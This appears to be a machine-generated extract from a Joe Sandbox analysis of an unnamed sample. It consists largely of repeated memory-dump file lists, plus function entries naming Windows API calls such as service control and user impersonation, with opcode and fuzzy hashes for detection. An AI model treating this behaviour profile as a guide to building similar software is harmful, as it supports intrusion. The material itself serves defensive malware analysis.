Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 82efa85eab22b257880232c9fc13c9dd50f04f20d838d28e0fc3eb4711262a89
Instruction ID: 4f06a16105ac64179f014020fa920c257f8111895017052e07f3aaa14afbb21c
Opcode Fuzzy Hash: 82efa85eab22b257880232c9fc13c9dd50f04f20d838d28e0fc3eb4711262a89
Instruction Fuzzy Hash: 1101F7E71492A27DA201D6145D50EFB63ACE5F7724B70841BF501D7542E25C4E499239

Function 004A9A25 Relevance: 1.6, APIs: 1, Instructions: 61
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 004A9A80

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 69dfecf80da8f09ad207a31db449310c601fd53b9644cd4669ea5f3a0d92197e
Instruction ID: d61a07e5bcd8dbc8018bdd11a8cfb9f5cd2b2bc94e06332f364efd99779d56a9
Opcode Fuzzy Hash: 69dfecf80da8f09ad207a31db449310c601fd53b9644cd4669ea5f3a0d92197e
Instruction Fuzzy Hash: 3101D1F754D1937DA600CA251E60AFB676CE5F7B21B70C41BF802C6242E2184E4A913A

Function 04A10D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04A10DCD

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 638f56fd4ca37c730844f0dbbf6fc3d2fdc2930d42ec85b498c735f5a9574393
Instruction ID: a9ff2c789f3230c8886230a698ad3404be1e60739d7b377ca3e0d3844daf5987
Opcode Fuzzy Hash: 638f56fd4ca37c730844f0dbbf6fc3d2fdc2930d42ec85b498c735f5a9574393
Instruction Fuzzy Hash: CE2133B6C00209DFCB50CF99D984BDEFBF4EF88720F14825AD908AB214D774A940CBA4

Function 04A11509 Relevance: 1.6, APIs: 1, Instructions: 56serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 04A11580

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: da0dca58d45aad7eae035b8013b76ccb34e299c5829a46ddeb26e8b3f53b298c
Instruction ID: 1bc31f46a9eab8f4b4bc908d01417a47b202340d0411e87898b4ffdc5760e78b
Opcode Fuzzy Hash: da0dca58d45aad7eae035b8013b76ccb34e299c5829a46ddeb26e8b3f53b298c
Instruction Fuzzy Hash: 992114B5900249DFDB10CF9AC584BDEFBF4EF48320F10802AE919A7250D778AA45CFA5

Function 04A11510 Relevance: 1.6, APIs: 1, Instructions: 54serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,?,?), ref: 04A11580

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 003e72d780dbffaa92c46c89be735f6893fa34c8042044bbd04967164ee07c6c
Instruction ID: 67cae9def76508a9655d8b7d30ee1824b69b0ffaff1739219e615799b1bbead6
Opcode Fuzzy Hash: 003e72d780dbffaa92c46c89be735f6893fa34c8042044bbd04967164ee07c6c
Instruction Fuzzy Hash: FD11D3B59002499FDB10CF9AC584BDEFBF4EB48320F108029E959A3250D778AA44CFA5

Function 04A11301 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04A11367

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: da4947f541c1cffb9d3d05c039439f27cba0ff69d8a7522ba1c4a436945ca154
Instruction ID: 1456b36e31bf4889837a827d69f38c23c51f81a47ee7d9846c0da531590fa6a9
Opcode Fuzzy Hash: da4947f541c1cffb9d3d05c039439f27cba0ff69d8a7522ba1c4a436945ca154
Instruction Fuzzy Hash: 3C1125B5800249CFDB10CF9AD584BEEFBF4EF48324F20845AD558A3250D778A944CFA5

Function 04A11308 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04A11367

Memory Dump Source

Source File: 00000003.00000002.2546493397.0000000004A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a10000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: db85cf2db532be92592c857795b99df95a000f9b915d91e76bb8b26f7bfccd5b
Instruction ID: 88184b3dd3658b5938499248593aaec3799ab8427f851156af58a2e6a54ffaa6
Opcode Fuzzy Hash: db85cf2db532be92592c857795b99df95a000f9b915d91e76bb8b26f7bfccd5b
Instruction Fuzzy Hash: DC1122B6800249CFDB10CF9AC544BEEBBF8AF48320F20842AD558A3250D778A944CFA5

Function 004A9A0D Relevance: 1.5, APIs: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 004A9A80

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b7e0a3394d63a0fbdbed4377ac40d498bb0fe5e237b8a7f65571e4ff10e111e2
Instruction ID: a4e435bdf21f016c0548b7d593a5ffd33be786ce124e791cd4acd10c39e6a17f
Opcode Fuzzy Hash: b7e0a3394d63a0fbdbed4377ac40d498bb0fe5e237b8a7f65571e4ff10e111e2
Instruction Fuzzy Hash: C7F0AB6AA4C2D31CE301C5304C30BFF23549577311B30804BE502CB1D2C2080D46814F

Function 004A9A73 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,?,?), ref: 004A9A80

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543260182.0000000000492000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543285706.00000000004A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543311057.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543331615.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543372367.00000000004B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543391406.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543411962.00000000004B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543434571.00000000004B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543453206.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543475183.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543499825.00000000004C2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543522393.00000000004C3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543543200.00000000004C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543563179.00000000004CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543582872.00000000004CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543602722.00000000004CE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543627876.00000000004E7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543650454.00000000004F1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543673403.00000000004FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543695502.00000000004FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543721184.0000000000511000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543742814.0000000000519000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543763616.000000000051A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543788308.000000000051E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543813132.000000000051F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543839244.0000000000524000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543864709.0000000000539000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543885484.000000000053B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543908403.0000000000547000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543930569.0000000000548000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543950670.0000000000549000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543976718.0000000000551000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543997525.0000000000559000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544016014.000000000055C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544039071.000000000056C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544065037.000000000056E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544091099.0000000000578000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544111971.0000000000579000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544144079.00000000005A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544164858.00000000005A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544183434.00000000005A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544201814.00000000005AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544222005.00000000005BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544264356.00000000005CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2544285696.00000000005CC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_G9H9BE2GP1UE0C9AS5I0G1FKO.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c277943ae5016b85417ba5905538d0270cd996ff2a87b1373e6c0371741807a6
Instruction ID: 288888225024d2db04dcc9d545e763389c9da64aa829ab7516b1e2514e46b155
Opcode Fuzzy Hash: c277943ae5016b85417ba5905538d0270cd996ff2a87b1373e6c0371741807a6
Instruction Fuzzy Hash: 40E092761581E22CE711D6616E31BBD6714DBA3321F30841BF551DA0C3C2480C0B4128

Function 004A9C0B Relevance: 1.5, APIs: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(C77232F3,004A9B82,00000003,00000000,00000003), ref: 004A9C60

Memory Dump Source

Source File: 00000003.00000002.2543331615.00000000004A5000.00000040.00000001.01000000.00000006.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2543013414.0000000000320000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543038725.0000000000322000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543060616.0000000000326000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543086398.000000000032A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543126338.0000000000336000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2543236747.0000000000490000.00000040.00000001.01000000.00000006.sdmpDownload File
